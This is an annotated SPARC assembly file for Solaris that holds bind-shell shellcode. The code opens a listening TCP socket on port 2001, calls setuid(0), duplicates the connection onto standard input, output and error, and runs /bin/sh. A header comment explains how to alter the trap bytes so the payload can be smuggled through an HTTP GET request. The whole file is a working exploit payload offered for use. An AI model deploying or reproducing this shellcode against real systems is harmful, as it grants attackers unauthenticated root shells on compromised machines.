!!! $Id: sparc-bind.s,v 1.1 2003/03/01 01:10:51 ghandi Exp $ !!! Bind /bin/sh to TCP port 2001. Calls setuid(0) so /bin/sh won't !!! drop privileges. After assembly, change the third byte in the !!! trap instructions to 0x38 to avoid having spaces in the input so that !!! it may be used in an HTTP GET request. For Solaris/SPARC. !!! !!! "I've come here to chew bubble-gum and kick ass...And I'm all out of !!! bubble gum." !!! -- Nada (Roddy Piper), "They Live" !!! !!! -ghandi < [email protected] > !!! .global bindsh .type bindsh,#function bindsh: sub %sp, 16, %l0 ! struct sockaddr sa; sub %sp, %l0, %l7; st %l7, [%sp - 20] ! int sa_len = 16; sub %l7, 14, %o0 sub %l7, 14, %o1 xor %l1, %l1, %o2 xor %l1, %l1, %o3 ! %o3 will be used as a %g0 sub %l7, 15, %o4 add %l7, (230 - 16), %g1 ta 8 xor %o2, %o0, %l2 ! s = socket(AF_INET, SOCK_STREAM, 0); sth %o1, [%sp - 16] ! sa.sin_family = AF_INET; mov 2001, %l6 sth %l6, [%sp - 14] ! sa.sin_port = 2001; st %g0, [%sp - 12] ! sa.sin_addr.s_addr = INADDR_ANY; xor %o3, %l2, %o0 xor %o3, %l0, %o1 xor %o3, %l7, %o2 add %l7, (232 - 16), %g1 ta 8 ! bind(s, &sa, sa_len); xor %o3, %l2, %o0 sub %l7, (16 - 5), %o1 add %l7, (233 - 16), %g1 ta 8 ! listen(s, SOMAXCONN); xor %o3, %l2, %o0 xor %o3, %l0, %o1 sub %sp, 20, %o2 add %l7, (234 - 16), %g1 ta 8 xor %o3, %o0, %l3 ! c = accept(s, &sa, &sa_len); xor %o3, %l3, %o0 sub %l7, (16 - 9), %o1 xor %sp, %sp, %o2 add %l7, (62 - 16), %g1 ta 8 ! ioctl(c, I_DUP2FD, 0); xor %o3, %l3, %o0 sub %l7, (16 - 9), %o1 add %o3, 1, %o2 add %l7, (62 - 16), %g1 ta 8 ! ioctl(c, I_DUP2FD, 1); xor %o3, %l3, %o0 sub %l7, (16 - 9), %o1 add %o3, 2, %o2 add %l7, (62 - 16), %g1 ta 8 ! ioctl(c, I_DUP2FD, 2); xor %sp, %sp, %o0 ! %o0 = 0; add %o3, 23, %g1 ta 8 ! setuid(0); set 0x2f62696e, %l0 ! (void*)sh = '/bin'; set 0x2f736800, %l1 ! (void*)sh + 4 = '/sh0'; sub %sp, 16, %o0 ! %o0 = '/bin/sh'; sub %sp, 8, %o1 ! %o1 = {'/bin/sh', NULL}; xor %sp, %sp, %o2 ! %o2 = NULL; std %l0, [%sp - 16] st %o0, [%sp - 8] ! argv[0] = sh; st %g0, [%sp - 4] ! argv[1] = NULL; add %o3, 59, %g1 ta 8 ! execve(sh, argv, NULL); xor %sp, %sp, %o0 ! %o0 = 0; add %o3, 160, %g1 ! %g1 = 160; ta 8 ! lwp_exit(0)